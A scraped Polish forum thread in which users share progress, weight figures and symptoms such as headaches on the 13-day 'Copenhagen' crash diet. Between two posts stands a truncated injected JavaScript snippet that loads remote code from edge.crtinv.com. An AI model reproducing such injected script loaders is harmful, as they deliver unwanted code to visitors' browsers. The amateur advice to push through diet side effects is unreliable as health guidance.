Temat: Kopenhaska z Madzią od 14 czerwaca 2012:) Zapraszam:)

każdy jakoś zalicza dzień tylko z jakim skutkiem hm..patrze na stronkę  i rowek 15 km był i powinien wystapic bonus pierwszych dni kopenhaskiej powinno być ciut lepej ale zobaczymy 

pewnie że zobaczymy, jeśli dotrwam do końca he he

Dzień dobry:)

U mnie waga paskowa plus minus 0,5kg tak od tygodnia:) synek  mi się rozchorował i juz 1,5tygonia nie chodzi...ma zapalenie stawów biodrowych...po raz drugi...teraz nawrót, straszne chorubsko...

Poza tym jakoś leci, aerobik przełożony i start dopiero od 18go...także czekam cierpliwie:)

Pozdrawiam i wytrwałości życzę:)

Miejmy nadzieje ze z Twoim maleństwem będzie wszstko ok- wiesz pomodlę się w jego intencji we wspólnej  modlitwie wstawienniczej wspólnoty..... to pomaga Tylko nie myśl ze ja jakiś odmieniec -rzymskokatolicka wspólnota neokatechumenalna jakbyś nie wiedziała  

Kurcze trochę brakowało mi ciebie ale dobra jak już  jesteś będzie wszystko dobrze  zobaczysz Chciałbym żebyś to przeczytała taki  malenki fragmencik z ostatniego artykułów  na vitalijce: 

"Aby spalił się tłuszcz potrzebna jest obecność węglowodanów. Są one jednym z elementów otrzymania związku, który uczestniczy w spalaniu tłuszczu.Bez niego tłuszcz może spalać się, ale zupełnie inną drogą. Wtedy zaczynają się tworzyć związki ketonowe. Natomiast twoje samopoczucie zaczyna się pogarszać. Odczuwasz ból głowy, zmęczenie, ospałość. Długotrwałe zakwaszanie w ten sposób organizmu niekorzystnie wpływa na zdrowie. Stąd lepiej unikać podobnych sytuacji. Tu mamy argument za tym, aby węglowodany w diecie w kontrolowanych ilościach były obecne." 

  od razu przychodzi skojarzenie ze to to mogą być efekty...na  kopenhaskiej jak sie nad tym nie panuje  i lepiej o tym wiedzieć i przeciwdziałać nieprawdaż  droga kolezanko? pozdrawiam tomek 

hej , a ja jestem na 5 dniu i czuję ból głowy, ospała to ja zawsze jestem, a to znaczy że mam przerwać?

hej , a ja jestem na 5 dniu i czuję ból głowy, ospała to ja zawsze jestem, a to znaczy że mam przerwać?

hej jasminowa chciałem zaznaczyć że takie zjawisko występuje  i co może to powodować .Ktoś tam pisze ze zbawienie działa głodówka jednodniowa i to może być prawda ale jeżeli  per analogia ktoś opacznie zrozumie ze może mu służyć miesięczna głodówka to niewątpliwie zdechnie i tak samo jest z kopenhaską to tylko 2 tygodnie i obok pozytywnych skutków (przynajmniej ja tak to odczułem mogą występować negatywy  może takie jak w tym artykule) ale ten artykuł przestrzega przed stałymi brakami wegli  A co do pytania  nie wiem jak ma ci główkę rozsadza non stop  to se odpuść  albo uzupełnij o coś co ma węglowadany ale jezeli będziesz świadoma ze takie skutki uboczne są i wytrzymasz  to zachowaj dietę i to juz zależy od ciebie -najważnijesze ze może to jest  wytłumaczenie twego bólu .Kiedyś pisałem ze najważniejsze to jest zmierzenie się z kopenchaską a jak jest coś nie tak to nie wstyd odpuścić sobie ale nie po to by mieć jojo i pyszczyć wszem i wobec jakie to nieszczęscie się przydarzyło tylko po to by uznać ze zaliczyłio się to doświadczenie no i przechodzi się na łagodniejszą dietkę z bardziej forsownymi ćwiczeniami powodzenia tomek 

hej dziś znów mniej o 0,2kg
Głowa faktycznie mnie tak jakoś pobolewa, tzn czuję się taka ospała, a ta głowa to taka ociężała
Dam radę do końca, obiecałam sobie że wytrwam ,to wytrwam, później zamierzam delikatnie zwiększać posiłki i nadal chudnąć, uda mi się zobaczycie.:)

Witam Was, dzieki za mile przywitanie
wlasnie mija moj 6 dzien, do dzis bylo dobrze choc waga od dwoch dni prawie stoi (zwalam wine na miesiaczke). Startowalam z 69,8 kilo dzis bylo 66,2 oczywiscie chcialabym zeby jeszcze pare kilo mi ubylo. Pozdrawiam goraco i wytrwalosci zycze,

!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s. || this.readyState=="loaded" || this.readyState=="complete"){s.>

aska nie  @ tylko skońcyły się"łatwe"do zbicia   złogi z kiszek a teraz to  trzeba  tłuszcz zwalać a to już ciężej